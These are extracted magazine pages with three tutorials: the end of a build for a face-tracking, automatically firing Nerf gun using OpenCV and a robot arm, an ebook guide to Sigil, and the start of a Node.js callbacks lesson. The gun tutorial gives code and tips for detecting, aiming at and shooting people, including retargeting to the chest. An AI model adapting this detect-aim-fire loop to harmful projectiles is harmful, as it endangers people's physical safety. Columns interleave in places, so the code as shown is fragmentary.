                                   1 Check for serial communication from the Arduino            wp-content/uploads/code/lv06-gun.tar.gz for how to
                                   2 Grab a new frame and look for a face                       initialise this). The if statements here match exactly
                                   3 If there’s a face in the frame: make sure the disc         with ones in the Arduino code.
                                     motor is on. Otherwise, turn the motor off                    If any of these pieces of data are found, the
                                   4 Calculate how far the face is from the centre of the       software sends the arm an instruction to stop moving.
                                     frame                                                      It also sets a variable to tell the software not to
                                   5 Turn the gun towards the face!                             continue moving in that direction. The variables are
                                   6 If the face is in the centre of the frame: shoot.          used at the end of the loop to make sure that the arm
                                   7 Repeat                                                     doesn’t continue to move even if it’s trying to aim in
                                     This runs over and over again until the user stops it.     that direction in the following code (from later in the
                                  Here’s the first part (which reads the serial connection):    main loop):
                                    while (ser.inWaiting() > 0):                                  if correction_x < -100 and stop_r == False and drawn == True:
                                     serdata = ser.readline()                                        stop_g = False
                                     if serdata == “r\n”:                                            RoboArm.ctrl_transfer(0x40,6,0x100,0, [0,1,0], 100)
                                        stop_r = True
                                        RoboArm.ctrl_transfer(0x40,6,0x100, 0, [0,0,0], 1000)     if correction_x > 100 and stop_g == False and drawn == True:
                                                                                                     stop_r = False
                                     if serdata == “g\n”:                                            RoboArm.ctrl_transfer(0x40,6,0x100,0, [0,2,0], 100)
                                        stop_g = True
                                        RoboArm.ctrl_transfer(0x40,6,0x100, 0, [0,0,0], 1000)     if correction_y < -100 and stop_u == False and drawn == True:
                                                                                                     stop_d = False
                                     if serdata == “u\n”:                                            RoboArm.ctrl_transfer(0x40,6,0x100,0, [16,0,0], 100)
                                        stop_u = True
                                        RoboArm.ctrl_transfer(0x40,6,0x100, 0, [0,0,0], 1000)     if correction_y > 100 and stop_d == False and drawn == True:
                                                                                                     stop_u = False
                                     if serdata == “d\n”:                                            RoboArm.ctrl_transfer(0x40,6,0x100,0, [32,0,0], 100)



94                                                                    www.linuxvoice.com
                                                                                                             ROBOTIC WEAPONRY TUTORIAL

  These if statements means that when the arm                                                                                            The inside of gun with the
moves in one direction, it resets the stop value for the                                                                                 string tied to the trigger
opposite direction.                                                                                                                      assembly. This is all that
  The variables correction_x and correction_y hold                                                                                       was left after we removed
the distance between the face and the centre of the                                                                                      superfluous parts of the
image. As you can see, this isn’t a precision machine,                                                                                   mechanism.
so anywhere with a hundred pixels is close enough.
There are a couple of reasons for this. The assembly
isn’t particularly stiff (so it’s prone to wobbling slightly)
and the movements of the arm aren’t very fine. 100
pixels is an arbitrary amount, so you could increase or
decrease it should you build such a weapon, but we
found it was accurate enough to hit a person most of
the time, and loose enough that it stopped the gun
constantly over-correcting. When we used smaller
units, the arm became prone to getting stuck in a loop
as it moved from too-far one side to too-far the other.

Facial recognition
Facial recognition is quite a complex area that
requires specialist algorithms and lots of training
images to teach the computer what a face looks like.
Fortunately, all the hard work has been done and
packaged into OpenCV. This is a cross-platform library               smiles. We’ll use one for detecting faces called
that can be used with many popular languages. In                     haarcascade_frontalface_default.xml. If you can’t
Python, the cv2 module provides us with the facilities               find it in your installation, you can download it from
we need. Most distros have this in their package                     https://github.com/Itseez/opencv/tree/master/
manager. For example, on Debian-based distros, you                   data/haarcascades.
can install it with:                                                    Before we get to the main loop, we need to create
sudo apt-get install python-opencv                                   the cascade with:
   If it’s not in your distro’s repositories, you’ll have to         import cv2
install it via the instructions at http://docs.opencv.               face_data = cv2.CascadeClassifier(‘/home/ben/haarcascade_
org/doc/tutorials/introduction/linux_install/linux_                  frontalface_default.xml’)
install.html.                                                          The code inside the loop is:
   Once it’s installed, you should be able to import cv2.              return_val, frame = capture.read()
This module enables you to use an image recognition
method known as Haar cascade to detect items in an                     gray_frame = cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY)
image using the Cascade Classifier object.                             small_gray_frame = cv2.resize(gray_frame, (0,0), fx=factor_
   The exact details of how cv2 identifies faces is quite            down, fy=factor_down)
complex, so we won’t deal with it here. Instead, we’ll                 faces = face_data.detectMultiScale(small_gray_frame, 1.5,5)
just look at how you can use it in this software.
   CascadeClassifier is a type of object that’s included               drawn=False
in the cv2 module. In order to create one, you need a                  for (face_x, face_y, face_width, face_height) in faces:
Haar cascade data file. These are XML files that                         cv2.rectangle(frame, (face_x*factor_up, face_y*factor_up),
include all the data the classifier needs to find a                               (face_x*factor_up + face_width*factor_up,
particular type of object. Each different object to be                            face_y*factor_up+face_height*factor_up),
recognised needs a different Haar cascade.                                        (255,0,0),2)
   Your OpenCV installation should have included                                 if not drawn:
some useful Haar cascades such as hands, eyes and                             face_middle_x = factor_up * (face_x + (face_width / 2) )


  Taking things further
  There are plenty of things you could do to make this project       If you’re feeling adventurous, you could even have a go at
  better. So far, we’ve only used one of the standard Haar           robotic clay-pidgeon shooting (although it would probably be
  cascade data files. However, you can create these yourself         best to use something a little slower, such as balloons).
  to recognise specific objects. There are details of how                This sort of face-tracking doesn’t have to be used for evil
  to do this at http://docs.opencv.org/doc/user_guide/ug_            though. You could use exactly the same hardware (minus the
  traincascade.html.                                                 gun) to allow you to have a video chat while wandering about
     With a bit of practise, you could get it to not shoot at you,   the room, or to video a lecturer who walks about on stage, or
  or recognise people wearing specific sports-team’s shirts.         even for a more advanced wildlife camera.




                                                                       www.linuxvoice.com                                                                         95
     TUTORIAL ROBOTIC WEAPONRY

                                                                                                      It is possible to calculate the values of correction_x
                                                                                                    and correction_y in different ways. For example, you
                                                                                                    could change them to target a half head’s distance
                                                                                                    below the head (upper-chest) by changing the
                                                                                                    calculation to:
                                                                                                      correction_y = (real_height/2) - face_middle_y - face_height
                                                                                                       However, this can cause problems in close-quarters
                                                                                                    combat, because the head takes up a large proportion
                                                                                                    of the image. By moving the camera upwards, it may
                                                                                                    push the face off-camera and therefore not recognise
                                                                                                    it and fail to shoot.
                                                                                                       The final part of the control is the part that handles
                                                                                                    the shooting. This is actually the most complex part
                                                                                                    of the code because it has to handle a few timing
                                                                                                    problems. The disc motors need to have time to spin
                                                                                                    up to speed before firing, but we don’t want them to
                                                                                                    spin permanently because they will just deplete the
The outside of the gun
                                        face_middle_y = factor_up * (face_y + (face_height / 2) )   batteries. Therefore, we turn them on as soon as we
showing the servo and the
cutaway that allows it to               drawn = True                                                detect a face, but have to wait a little while before
pull the firing pin forwards.                                                                       shooting.
                                  correction_x = (real_width/2) - face_middle_x                        We want to turn the motors off when the face
                                  correction_y = (real_height/2) - face_middle_y                    leaves the image, but not immediately because the
                                  The higher the resolution on an image, the more                   face might still be there, just not recognisable for a
                                accurate the object detection will be. However, it will             few frames, and we always want to be primed and
                                also take more time to process. The best trade-off will             ready to fire.
                                vary depending on your computer, so we’ve created                      The firing sequence goes: if the face is in the middle
                                two variables (factor_up and factor_down) that can                  of the frame and the trigger is reset and the motors
                                be used to resize the image before and after                        are running, then send the Arduino the message to
                                                                  processing so that a              move the servo, then wait until you’re sure the servo
“The software will try to target                                  nice large image can              has moved, then reset the servo.
                                                                  be displayed, but only a             We can’t use the normal sleep functions for all the
the middle of the camera, not                                     smaller one processed.            waiting, because we still want the software to keep
what the gun is pointing at.”                                     The values of these are           running through the loop and targeting. Instead, we’re
                                                                  set at the start of the           going to use counters that make sure at least a
                                                                  program. We found                 certain number of iterations of the loop are run each
                                that 3 and 0.33 worked well for a moderately powerful
                                computer, but you may wish to vary this depending on
                                what you’re running on. It also converts it from colour
                                to greyscale for the same reasons.
                                  The detectMultiScale() method is then used to pick
                                out all the faces in the image. The for loop then draws
                                a blue box around every detected face, but only one
                                face (the first one) is targeted at any one time. This is
                                then used to calculate the values of correction_x and
                                correction_y that we used earlier.

                                Guns before butter
                                You may notice that this will aim right in the middle of
                                the face. That’s a little unfriendly, and not completely
                                safe. Although the darts are soft, so are eyes. A couple
                                of things make this a bit safer. Firstly, the software will
                                try to target the middle of the camera, not what the
                                gun is pointing at. We angled our camera up slightly
                                which meant that the gun was pointing below the face
                                when the face was in the centre of the image.
                                Secondly, we wore eye protection (sunglasses) when
                                getting everything set up, and ideally all the time when
                                the gun is on. Remember that your computer doesn’t
                                feel guilt or compassion, so will shoot you straight in             The Picoborg motor controller is designed to go on a
                                your eye and not feel a drop of remorse.                            Raspberry Pi, but we can co-opt it for use with the Arduino.



96                                                                  www.linuxvoice.com
                                                                                                           ROBOTIC WEAPONRY TUTORIAL




                                                                                                                                      The gun successfully
time.The code that controls this is:                                     triggered_count = triggered_count + 1                        defending the desk of the
  if drawn == True:                                                     We’ve covered all the mechanics, but there are a              author from an interloper
#continue to send the message periodically in case there’s an        few more bits of code needed to get everything set up.           attempting to distract him
error in transmission                                                The full code is at www.linuxvoice.com/wp-content/               from his work.
     if spin_count%20 == 0:                                          uploads/code/lv06-gun.tar.gz.
        ser.write(‘4\n’)                                                Once the software’s fully tested, the only thing to do
     if spin_count < 20000:                                          is stick everything together properly. We used
        spin_count = spin_count + 1                                  electrician’s tape to attach the webcam to the gun,
     else:                                                           since this allows us to easily remove it once we want
        spin_count = 20                                              to move on to the nect project. The joint between the
  if drawn == False:                                                 gun and the arm needs to be more solid. Here, we
     not_spin_count = not_spin_count + 1                             used Sugru, which worked well, but hot glue would
     if not_spin_count > 30 and triggered == False:                  also do the job. Actually, most strong glues that stick
        spin_count = 0                                               plastic should work well. We used blobs of Blu-Tack to
        ser.write(‘3\n’)                                             hold the wires in the Picoborg and servo connectors.
        not_spin_count = 0
  if triggered_count > 30 and triggered == True and resetting ==     Physical computing
False:                                                               This project is all about physical computing – that is,
     ser.write(‘1\n’)                                                getting computers to interact with the real world. It
     reset_count = 0                                                 takes some inputs (the end-stops and the camera
     resetting = True                                                images), performs some processing on them, and
  if reset_count > 30 and triggered == True and resetting ==         generates some outputs (turning the gun and firing
True:                                                                the bullets).
     triggered = False                                                  This is quite a complex project, but physical
     resetting = False                                               computing doesn’t have to be. If you want to explore
  if reset_count < 31:                                               some simpler projects, the Arduino Uno is an excellent
     reset_count = reset_count + 1                                   place to start. It connects to your Linux PC via the
  if triggered_count < 31:                                           USB port and lets you turn pins on or off, or get input
                                                                     from them.
                                                                        By unloading this onto an external board, if you
  Warranty
                                                                     accidentally make a mistake, the worst it can do is fry
  If you’re following this tutorial, you’re doing stuff with         the Arduino, leaving your computer intact. Most
  hardware that it wasn’t designed to do. There’s no point in        people start with projects that turn LEDs on and off,
  taking a dismantled and sawn Nerf gun back to the shop you
                                                                     get input from switches, and build up to incorporating
  bought it from if it breaks. They’ll laugh you out of the store.
      We’ve built an automatic robot-controlled gun, and it          sensors into their projects, although there’s nothing to
  worked for us, but we can’t guarantee it’ll always work. You       stop you jumping in at the deep end, and building a
  might have received a Nerf gun from a different batch (and         Nerf gun controller for your first project.
  they don’t have published tolerances), or a servo with a bit          The Arduino board and the software it uses are both
  more power. We don’t think you’re likely to end up with a
                                                                     open source, so there are loads of re-mixed designs
  smoking heap if you follow the tutorial, but we can’t say for
  sure that you won’t. Such is the nature of hardware hacking.       with all sorts of features built in or taken out. There’s a
      In the course of this project, we managed to burn out two      great community around the Arduino, and loads of
  pins on our Arduino (fortunately, the rest of the board still      hardware available. http://playground.arduino.cc is a
  works). It was a lesson to us in checking our wiring before        great place to see what’s going on.
  powering on, and a reminder that electronics are fragile.
      We’ve written this as a guide only. For those brave enough
                                                                      Ben Everard doesn’t feel pity, or remorse, or fear, and he
  to attempt it: good luck.                                           absolutely will not stop, ever – at least not until tea time.




                                                                       www.linuxvoice.com                                                                     97
     TUTORIAL SIGIL



                               SIGIL: CREATE QUALITY EBOOKS
           TUTORIAL
                               ON ANY OPERATING SYSTEM
                               Learn how to use the ePUB Open Standard to carry any text
MARCO FIORETTI
                               you want in your pocket


                               E
                                       books, that is literary works distributed not as       by doing. Sigil can teach you how to produce well
 WHY DO THIS?                          bound stacks of paper sheets, but as digital           structured, good-looking ePUB files compatible with
 • Produce portable, good
                                       files in the right formats, are terribly convenient.   most ereaders around. Let’s see how.
   looking, easy to use
   ebooks on any operating     You can back them up, carry thousands of titles in
   system                      your pocket, publish them worldwide at nominal                 Main concepts and user interface
 • Reformat any kind of        costs, and above all process and reuse their content in        Sigil can import content in TXT, HTML or ePUB
   content as ebooks, to
                               many ways. Ebooks are useful for everybody from                format. Whatever the input format, Sigil immediately
   always carry it with you
 • Learn by doing an
                               teachers to corporate executives, not just bestselling         converts and saves it as ePUB. While you may write
   open ebook standard,        authors: reformatting personal notes, company                  ebooks from scratch in Sigil, you really shouldn’t.
   reusable with any other     memos, courseware or generic web pages as ebooks               Regardless of the development issue, we think it is
   software
                               can make all that stuff much more usable for both              much better to only use it to format content already
                               their authors and all their potential users.                   written with other tools, which are probably more
                                  In practice, as we hinted right at the beginning, this      complete as editors, and would make it much easier
                               is true only if those ebooks are in the right formats. By      to convert your work also in other formats.
                               this we mean Open Standards conceived specifically                 To use Sigil (and ePUB in general), you only need a
                               for ebooks, that is optimised for those paper-like             basic understanding of HTML and CSS markup. As a
                               screens called ereaders, but usable on any other               minimum, this knowledge will greatly help you when
                               device, of any size and form factor. “Right” also means        it’s time to remove some code inserted by Sigil, as
                               formats that are highly structured internally, and             you’ll see later.
                               therefore easy to write, parse and reuse with as much              The Sigil interface has three main tabs, which can
                               (Free) software as possible.                                   be rearranged in several ways, or detached to
                                  In case you hadn’t noticed, this excludes the               independent windows: Book Browser on the left, Table
                               ubiquitous PDF, which is still mostly used as a picture        of Contents (ToC) on the right, and the actual editor,
                               of the printable parts of a document. The international        which supports tabs and can work in “Book view” or
                               open standard called ePUB (http://idpf.org/epub –              “Code view” (the HTML source) in the middle.
Sigil was born as, and still   see box) seems a much more sensible option for                     Book Browser shows the internal structure and
is, an ePUB editor. That       ebooks. This is why we publish this tutorial.                  components of the ePUB file, whereas the ToC
is why the plain editing
                                  The multi-platform Free Software tool Sigil                 displays the structure of the ebook text.
functions get the most
                               (https://code.google.com/p/sigil) is an an ePub                    Two other parts of the Sigil GUI you need to know
space in its toolbars. The
real power, however, lies      editor and formatter. Its development is currently             about are the Preference Panel (Edit > Preferences)
in the tools that generate     stalled, but as long as the software installs and runs         and the Clips toolbar. The most important tab of the
metadata, indices and          without problems, it remains one of the best ways              former is the one called “Clean Source”. That’s where
other components.              around to not just publish ebooks, but to learn ePUB           you tell Sigil when and how to clean up the imported
                                                                                              HTML code.
                                                                                                  You cannot skip that step, because the HTML
                                                                                              export filters of many programs, especially word
                                                                                              processors like Libre Office, are unnecessarily heavy.
                                                                                              In an attempt to produce web pages that look exactly
                                                                                              like the original formatted text, they introduce a lot of
                                                                                              tags that are totally useless in ebooks.
                                                                                                  The other preferences you can set are fonts and
                                                                                              colours of the editor, interface language, dictionaries
                                                                                              and keyboard shortcuts.
                                                                                                  The Clips are user-defined snippets of frequently
                                                                                              used HTML code (one example would be CSS
                                                                                              attributes to colour links). You can select and insert
                                                                                              clips with a right-click in the editor window.
                                                                                                  Many other functions of Sigil are pretty much the
                                                                                              same as normal HTML editors, or simple word



98                                                               www.linuxvoice.com
                                                                                                                                        SIGIL TUTORIAL

processors. We will not describe them here, because
they are very intuitive we want to focus on the real
value of Sigil, which is how it helps you to improve the
quality and usability of ePUB files.

First, structure your book
Metadata, that is “data about data” is what helps you
and everybody else, including search engines and any
other software, to make sense of your ebooks. Your
ebook can only be indexed if it has the right metadata,
for example.
   That’s why the first place to work on a new ebook in
Sigil is its Metadata Editor. You must, as a minimum,
define Title, Language and Author(s). After that, the
                                                                                                                                           This mashup shows the
“Add Basic” button opens a menu with the 30 most                        When you are done, click on the “Generate Toc”
                                                                                                                                           Sigil Metadata Editor (left)
common metadata types. Sigil can manage all the                      button to create the standard ePUB TOC, which will be                 and what you get from
hundreds of metadata variables defined in the ePUB                   saved in the toc.ncx file. You can edit this table by                 Sigil (centre) when you
standard, and set contributors roles that go from                    going to Tools > Table of Contents > Edit Table of                    tell it to index simple or
co-author to calligrapher or censor.                                 Contents, but remember that any change done in that                   hierarchical entries (right).
   As far as the standard itself is concerned, the whole             way will not be applied to the actual text in the source,
content of an ePUB book can stay in one HTML file. It                and will be lost the next time you generate the ToC.
is much better, however, to put all chapters into                       It’s often a good idea to placing a copy of the same
separate files, which will load faster both in Sigil and in          ToC inside the actual content of the book, either for
many ereaders. You want to do it as soon as possible,                stylistic reasons or to make it usable even on ereaders
to minimise the number of broken internal links you                  or software programs that, for whatever reason, can’t
may have to fix later.                                               read the toc.ncx file. Select Tools > Table Of Contents
   To split an ebook source into separate HTML files,                > Create HTML Table of Contents to get this ToC copy                        PRO TIP
put the cursor at the right point, then click on the “Split          in a new source file, called TOC.xhtml, with its own                    If you plan to get serious
At Cursor” button. Should you change your mind, you                  CSS stylesheet (sgc-toc.css), then drag and drop it                     with ebook publishing,
                                                                                                                                             find an HTML cheatsheet
can merge files: select them in the Book Browser, then               where you want it to be in the book.
                                                                                                                                             and a CSS tutorial for
right-click and choose Merge.                                                                                                                beginners and keep them
                                                                     Indices                                                                 on your desktop. As soon
                                                                                                                                             as you start using Sigil,
Table of contents                                                    Besides a ToC, the other feature that makes any
                                                                                                                                             you’ll need them. Besides,
The ePUB format specifies how to write standard                      non-fiction book much more usable is a good index.                      you can reuse the same
TOCs (Table of Contents) that all ereaders can                       You can define specific occurences of strings to index,                 information to design
                                                                                                                                             web pages!
recognise and make accessible to their users, to                     or tell Sigil to index all the occurrences of the same
quickly move around a book via dedicated menus or                    strings. After selecting some text, click on Tools >
other special systems.                                               Index > Mark For Index to achieve the first result, or
  If the HTML source initially loaded in Sigil already               Tools > Index > Add To Index Editor for the other. You
has all its section headings labelled with their                     can also add entries directly to the Index Editor or
standard HTML markup (<hN>..</hN>), one click in                     (even better) load in it lists of strings to index,
the right place will do the job. Otherwise, select every             previously saved in plain text files.
text you want to become a section heading of a                         Unless you specify different texts for them, Sigil will
certain level in the ToC, then click on the                          create entries that are exactly the strings you told it to
corresponding “Hn” button. You can mark images in                    search – those shown in the Index Editor as Text To
the same way if you want a section to start with them.               Include. You may also use regular expressions there.

  What does an ePub file look like?
  In order to understand what Sigil does and why, you     locations. Sigil is designed for ePUB 2, but also        hyerarchy, inside the toc.ncx file (the extension
  have to know at least the general architecture and      supports some ePUB 3 features such as audio and          means “Navigation Center eXtended”). The ncx
  main components of the Open Standard for digital        video. If you unzipped an ePUB file, you would find      format is obsolete in ePUB 3, but it should remain
  publication called ePUB (http://idpf.org/epub). It is   in it one file and two folders. The file is simply the   usable for a long time.
  not supported by all the ereaders you may find, but     MIME type of the whole archive. The META-INF                All the metadata go into the XML document
  it is common enough that converters from ePUB to        folder hosts a sort of pointer file, called container.   named contents.opf, which also hosts a “Manifest”,
  any other ebook format abound. Knowing the inside       xml, to the actual ebook. This is all inside the         that is a list of all the files used in the eboobk.
  of ePUB is also essential if you plan to create or      other folder, whose name is OEBPS (Open eBook               Each category of content has its own subfolder,
  process ebooks with any other program                   Publication Structure). What the Sigil Book Browser      namely Text, Stylesheets, Images, Fonts, Audio,
      In extreme synthesis, an ePUB file is nothing but   shows, as you can see in Figure 1, is just the part of   Video, plus Miscellanea for everything else. The
  a compressed Zip archive of all the components          the OEBPS structure that Sigil supports.                 text sources are normal (x)HTML files that you may
  of an ebook, which are given standard names and             The Table of Contents is at the top of the           open in any Web browser.




                                                                        www.linuxvoice.com                                                                                99
      TUTORIAL SIGIL


                                    Documentation and support
                                    If you want to use Sigil for anything but really basic              real world example of how to use this tool: download the
                                    formatting, you have to begin outside it: read and keep at hand     ePUB version and load it in Sigil to see by yourself how its
                                    any of the HTML markup cheatsheets and “CSS for dummies”            developers produce ebooks with it.
                                    tutorials you can easily find online.                                  When the Guide isn’t enough, visit the Sigil Forum at
                                        Sigil itself has a great documentation. The official User       MobileRead (www.mobileread.com/forums/forumdisplay.
                                    Guide is very complete and well structured: more than               php?f=203). Among the many threads there, we recommend
                                    35K words, which are mostly tutorials on specific issues.           the one titled “Best Pre-Sigil word processor tool/workflow?”,
                                    Besides, since it was written in Sigil, the User Guide is a great   and all those that discuss Regular Expressions in Sigil.



                                    You can also tell Sigil to create multiple entries for              then click on the Anchor button and give it a proper
                                  the same string and/or hierarchical ones, with the                    name in the pop-up window. Here, “proper” means
                                  several levels separated by slashes, as in “Free                      whatever you want, as long as it begins with a letter, is
                                  Software/Linux/Ubuntu”.                                               unique to the whole book (so that if it would remain
                                    To actually create the index once you have finished                 unique, even if you later moved that text to another file
      PRO TIP                     defining its content, select Tools > Index > Create                   of the same book) and you use a consistent naming
 These days no book,              Index. The result will be saved in alphabetical order in a            scheme.
 digital or in paper, is really
 complete and usable              new page called index.xhtml, with its own stylesheet                     To create a link to an already existing anchor (which
 if it cannot be easily           (sgc-index.css). You can edit it, but any change will be              may also be a chapter heading), click on the point
 indexed and classified           lost the next time Sigil regenerates the index.                       where it should go and select Insert > Link. You will be
 by computers. Never
 release an ebook if you            At the source code level, indexing a word makes                     able to select as destination any of the valid targets in
 haven’t filled it with good      Sigil give it an anchor with a special class (sigil_index_            the current ePUB file, or an external URL.
 metadata. It may be              marker). That’s important to know, because to stop                       This procedure is also usable for “reverse linking”,
 boring, but it’s vital and
 really easy with Sigil.          some specific occurrence of that word from                            that is to let readers return to whatever part of the text
                                  appearing in the index, you must manually remove                      they were previously reading with one click, even on
                                  those tags from around it.                                            ereaders that lack a built-in “Back” button. You just
                                    To see which snippets of text are currently indexed,                have to invert the target and destination points.
                                  switch to Code View or (much better, in our opinion),                 However, if you really need reverse links for many
                                  give the sigil_index_marker class a different colour in               anchors, it may make more sense to add them
                                  the stylesheet.                                                       automatically with a script.
                                                                                                           Once you’re happy with the structure of your ebook,
                                  Cross-references!                                                     you can start worrying about its look, comforted by
Content and structure             The last thing you need to make the difference                        the fact that writing ePUB ebooks is much like writing
come first, but looks             between a generic, unhelpful flow of text and a really                textual content for the web. To begin with, if you write
are important too. Sigil          easy to use one is internal links, for notes and other                the text outside Sigil, you should carefully avoid the
supports cover design and         cross references. To make any point in the text an                    bad habits you may have picked up using word
drop caps via standard
                                  anchor, that is, a destination of such links, select it,              processors, such as adding blank lines here and there,
CSS stylesheets.
                                                                                                        or manually formatting text instead of using styles.
                                                                                                        This advice alone could save you lots of time and
                                                                                                        frustration when you lay out your book in Sigil.
                                                                                                           Speaking of styles, ePub, and consequently Sigil,
                                                                                                        use the same CSS stylesheets as web pages. In case
                                                                                                        you’ve never met CSS before, here is a real quick copy
                                                                                                        of samples of what it can do, and how, in an ebook.
                                                                                                        This snippet of CSS code:
                                                                                                         p{
                                                                                                         padding: 0;
                                                                                                         margin: 0;
                                                                                                         text-align: justified;
                                                                                                         }
                                                                                                        means “justify, with null padding and margins, all the
                                                                                                        paragraph elements (that is, all those between pairs of
                                                                                                        “<p>” and “</p>” markers in the HTML source). Drop
                                                                                                        Caps, while not supported by all ereaders, work in the
                                                                                                        same way. Adding code like this to your stylesheet:
                                                                                                         span.dropcap {
                                                                                                           float: left;
                                                                                                           font-size: 4.7em;
                                                                                                           line-height: 0.8em;



100                                                                     www.linuxvoice.com
                                                                                                                             SIGIL TUTORIAL

     margin-right: 3pt;
     margin-bottom: -0.1em;
 }
will make a drop cap of any letter marked with that
attribute in the Code View of Sigil:
<p><span class=”dropcap”>I</span> am a Drop Cap</p>
    To add an existing CSS file to your current book,
select it in File > Add Existing Files. Then, to associate
it to the sources files, right-click on them in the Book
Browser, select “Link Stylesheets” then tick the
stylesheet you want.
    CSS stylesheets are also the place to tell your ebook
to use custom fonts. To be usable, the font files must
have first been saved in the corresponding subfolder
of the Sigil Book Browser. If you care about maximum
compatibility with all ereaders the formats to use are
those called OpenType or TrueType, which have the
.otf and .ttf extension. Make sure to choose fonts
whose licence does allow you to use them freely!
    Once the fonts are in place, assign them to a CSS
style, and use it in the HTML files:
                                                                                                                              FlightCrew and the other
 @font-face {                                                  and height in pixels of the cover image. They are
                                                                                                                              validation and reporting
   font-family: ‘myfont’;                                      called SGC_IMAGE_FILENAME, SGC_IMAGE_WIDTH                     tools included in Sigil
   font-weight: normal;                                        and SGC_IMAGE_HEIGHT.                                          provide a complete view
   font-style: normal;                                                                                                        of everything that may be
   src: url(‘../Fonts/myfont.ttf’);                            Finally, check the result                                      wrong in your ebook.
 }                                                             To work as expected, any ePUB file must meet the
                                                               minimum quality standards defined in the
Cover and other graphics                                       specification, and be free from internal dead links and
Adding a cover with Sigil is as easy as it gets. Select        other common errors. One of the best features of Sigil
Tools > Add Cover, find the image you want to use,             is the way that it helps you find these problems.
load it and you’re done. Sigil will take create a cover           It doesn’t hurt to run the checks that Sigil provides
source file (cover.xhtml) containing your image,               (Tools > Validate) as soon as you import some
marked up to be resizable and usable on most                   content. This will give you an idea of how much work,
e-readers. Apart from images, if the (dull) default cover      and of which kind, may be ahead. Stylesheet
template that Sigil provides bores you, you have two           validation for example, and should be done as soon as               PRO TIP
possibilities. The quick and dirty solution is to just         possible, so you don’t waste time with a layout that            Ebooks cluttered with
                                                                                                                               wrong links or useless
open the cover.xhtml file right there, in Sigil, and           may look great in Sigil, but not be portable.                   elements, be they images,
modify it as you please. If you plan to do more than              You can check individual stylesheets by right-               stylesheets or unused
one ebook with the same cover style, however, it               clicking on them in the Book Browser and selecting              cross-references, are
                                                                                                                               bigger than necessary
would be better to create your own cover template.             the Validate option.                                            and harder to read and
   To do this, copy the file that Sigil created to the Sigil      The F7 key starts the copy of the ePUB validator             manage. Find and remove
Preferences Folder, which is $HOME/.local/share/               called FlightCrew (https://code.google.com/p/                   all that dead weight with
                                                                                                                               the reports provided by
sigil-ebook/sigil/, then edit it as needed. In doing that,     flightcrew), which is distributed with Sigil. The reports       Sigil.
you can use the Sigil variables that define the path           generated directly by Sigil might be even more useful
(inside the ePUB archive, not on your computer), width         than these validators. They are great, for example,
                                                               when it comes to spotting images, anchors, CSS
                                                               classes and whole stylesheets that are in the ePUB
                                                               file, but are never actually used. Sigil can also warn
                                                               you if any of the reverse links don’t actually link to
                                                               each other.
                                                                  Sigil is perfect for creating ePUB ebook templates.
                                                               Once you have manually crafted one ebook in Sigil
                                                               just like you want, reusing its files as bases for other
                                                               books with the same style, via shell scripts, will be
                                                               easy. But that’s a challenge for another day!


                                                                Marco Fioretti is a Free Software and open data campaigner
Sigil can generate a standard Table of Contents that any
                                                                who has evangelised FOSS all over the world.
ebook reading software understands.



                                                                 www.linuxvoice.com                                                                   101
      CODING NINJA



                              CODE NINJA: CALLBACKS
          TUTORIAL
                              AND NON-BLOCKING IO
                              Nobody likes to sit around doing nothing – here’s how your machine
   BEN EVERARD
                              carries on processing while it’s waiting for something to do.


                              W
                                         hen people learn to program, they’re often          That means the computer waits three times.
 WHY DO THIS?                            taught that it involves listing a series of      Depending on what system you’re running on, it could
 • Speed up your code by                 steps that the computer takes one after          mean quite a long delay between asking for a name
   avoiding unnecessary
   waits                      another until it’s solved the problem.                      and continuing processing. For most of the time that
 • Learn to use one of the      Take, for example, the following pseudo code:             this program is running the processor will be sitting
   trendiest programming      print “what is your name”                                   idle, so it’s a waste of resources as well.
   platforms (Node.js)        name = input(“?”)                                              A better way to run this would be to send all three
 • Build your own website     print “hello”, name                                         requests for data at the same time, and then process
   testing tool to find out
   which sites load fastest      First it prints out a question, then it calls the        the data as it comes back so that whichever data
                              function input(), which waits for the user to enter their   comes back first could be processed first. Doing it this
                              name, and then returns this as a string. Finally, the       way means the computer only has to wait once. This
                              computer says hello. This approach works fine, and          gives us a problem though, because it means that our
                              we could adjust the program to ask lots of questions        program won’t simply run one line after the next. We
                              about the user to get any information we wanted.            need some new way to define the order for the code to
                                 The input is what we call blocking, which means it       run in, because you can’t just run all the lines of your
                              stops the program running until it gets a response          program at the same time and hope that it all works.
                              from the user. Now, let’s look at another program:
                              print “what is your name”                                   Callbacks
                              name = input(?)                                             The solution to this problems is to create functions
                              picture = get_pic_from_server(name)                         that should run once a specific event occurs – such
                              biography = get_biography_from_database(name)               as when a particular file is returned from a server.
                              work = get_work_from_file(name)                             These functions are known as callbacks, and they
                                Here, it asks for your name, then it gets three pieces    allow you to run non-blocking code, yet still define the
                              of information about you: your picture, your biography      order in which you want code to be processed. For
                              and your work. We haven’t defined the functions that        example, take a look at the following pseudo code:
                              get this data, but we’ll say that they’re also blocking.    get_picture_from_server(function_to_run_when_picture_
                                The process then will be:                                 returned)
                              1 Get your name                                                 When the computer got to this line, it would request
                              2 Wait for the server to return your picture                the picture from the server. However, if the function
Scratch’s “When ...” code
blocks are assigning          3 Wait for the database to return your biography            get_picture_from_server is non-blocking, the
callbacks to particular       4 Wait for the filesystem to return your work               computer won’t wait for the picture to be returned; it’ll
events.                       5 Continue processing                                       just keep processing the main code. Once the server
                                                                                          has processed the request and returned the picture,
                                                                                          the computer will pause processing the main code
                                                                                          and run function_to_run_when_picture_returned (the
                                                                                          callback function). When this function is completed, it
                                                                                          resumes processing the main code. This way the
                                                                                          computer isn’t wasting time while it waits for the
                                                                                          server to respond, because it carries on processing
                                                                                          the main program, yet it can still process the file when
                                                                                          it is returned.
                                                                                              Let’s switch this from pseudo code to real code and
                                                                                          have a look at how it works in practice. Many
                                                                                          languages have the ability to use callbacks, but they
                                                                                          are used extensively in JavaScript. Almost all
                                                                                          JavaScript has callbacks in one form or another,
                                                                                          whether it’s to run code when the user performs a
                                                                                          particular action, or to handle loading data over
                                                                                          unpredictable internet connections. These callbacks



102                                                            www.linuxvoice.com
                                                                                                                                        NINJA CODING


  Node.js
  For people who think of JavaScript as a way of           for the BeagleBone single-board computers. This
  introducing some simple processing power to web          may seem a little odd at first, but it enables you to
  pages, it may seem a little weird to use it in           connect your BeagleBone to your computer via a
  server-side programs. Despite that little bit of         USB cable. The BeagleBone then runs a web server,
  cognitive dissonance, Node.js provides a really          which has a HTML-based development
  powerful way of building back-end services using a       environment that enables you to create Node.js
  non-blocking IO, and has dramatically risen in           applications on a desktop computer, then run them
  popularity over the last few years. It works             on the BeagleBoard.
